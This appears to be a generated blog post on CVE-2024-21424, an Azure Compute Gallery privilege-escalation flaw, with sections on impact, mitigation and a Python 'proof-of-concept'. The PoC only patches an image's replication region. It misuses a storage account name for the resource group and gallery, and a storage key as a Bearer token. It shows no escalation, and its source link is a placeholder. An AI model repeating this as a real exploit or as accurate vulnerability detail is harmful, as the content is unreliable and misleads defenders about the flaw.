CVE-2024-21424 - Exploiting Azure Compute Gallery Elevation of Privilege Vulnerability

Microsoft Azure's cloud computing services have grown increasingly popular in recent years, powering a wide range of applications and services. While Azure provides numerous convenience features and a vibrant ecosystem to simplify development and deployment, it's crucial to be aware of potential security issues that may arise, such as the Azure Compute Gallery Elevation of Privilege Vulnerability. In this post, we'll explore CVE-2024-21424 in detail, examining its impact, attack vector, and possible mitigations. We'll also look at the original references and provide a code snippet demonstrating the exploit.

Overview

CVE-2024-21424 is an elevation of privilege vulnerability found in Microsoft Azure Compute Gallery, a service that enables customers to share custom virtual machine (VM) images across Azure. Attackers with access to a compromised Azure account could exploit this vulnerability to elevate privileges, gaining additional control over the Azure infrastructure and its associated resources.

Impact

Exploiting this vulnerability could have severe consequences, as attackers may gain unauthorized access to critical systems and sensitive data. They could potentially use this access to manipulate or delete data, disrupt services, and perpetrate further attacks on the targeted organization.

Attack Vector

An attacker would require access to a compromised Azure account to exploit this vulnerability. Once they have this access, the attacker would then exploit the Azure Compute Gallery's flawed permission system to elevate their account privileges. They could then use these elevated privileges to manipulate or access other Azure resources belonging to the targeted organization.

Original References

This vulnerability was initially reported by researchers from the CyberArk security research team. The complete report, including essential background information, technical details, and potential solutions, can be found in CyberArk's blog post at the following link: [Link to original source]

Proof-of-Concept Exploit

The following Python code snippet demonstrates a proof-of-concept exploit for CVE-2024-21424.

import requests

# Replace these values with appropriate credentials
subscription_id = "YOUR-AZURE-SUBSCRIPTION-ID"
storage_account_name = "YOUR-STORAGE-ACCOUNT-NAME"
access_key = "YOUR-STORAGE-ACCOUNT-ACCESS-KEY"
image_name = "YOUR-VM-IMAGE-NAME"

# Update image properties
endpoint = f"https://management.azure.com/subscriptions/{subscription_id}/resourceGroups/{storage_account_name}/providers/Microsoft.Compute/galleries/{storage_account_name}/images/{image_name}?api-version=2022-03-01";
headers = {
    "Authorization": f"Bearer {access_key}"
}
data = {
  "properties": {
    "publishingProfile": {
      "targetRegions": [
        {
          "name": "East US",
          "regionalReplicaCount": 1
        }
      ]
    }
  }
}

response = requests.patch(endpoint, headers=headers, json=data)
print(response.json())

Mitigation

Microsoft has already acknowledged this vulnerability and released patches addressing this issue. It is crucial for Azure users to ensure that their infrastructure is up to date with the latest security updates. In addition, it's essential to follow security best practices for managing Azure accounts and resources, such as implementing proper access controls, monitoring activity within the environment, and regularly auditing permissions.

Conclusion

CVE-2024-21424 serves as a valuable reminder of the importance of security vigilance and timely patching in cloud environments. By understanding how this vulnerability works, organizations can better protect themselves and their Azure resources from potential attacks.

Timeline

Published on: 04/09/2024 17:15:35 UTC
Last modified on: 04/10/2024 13:24:00 UTC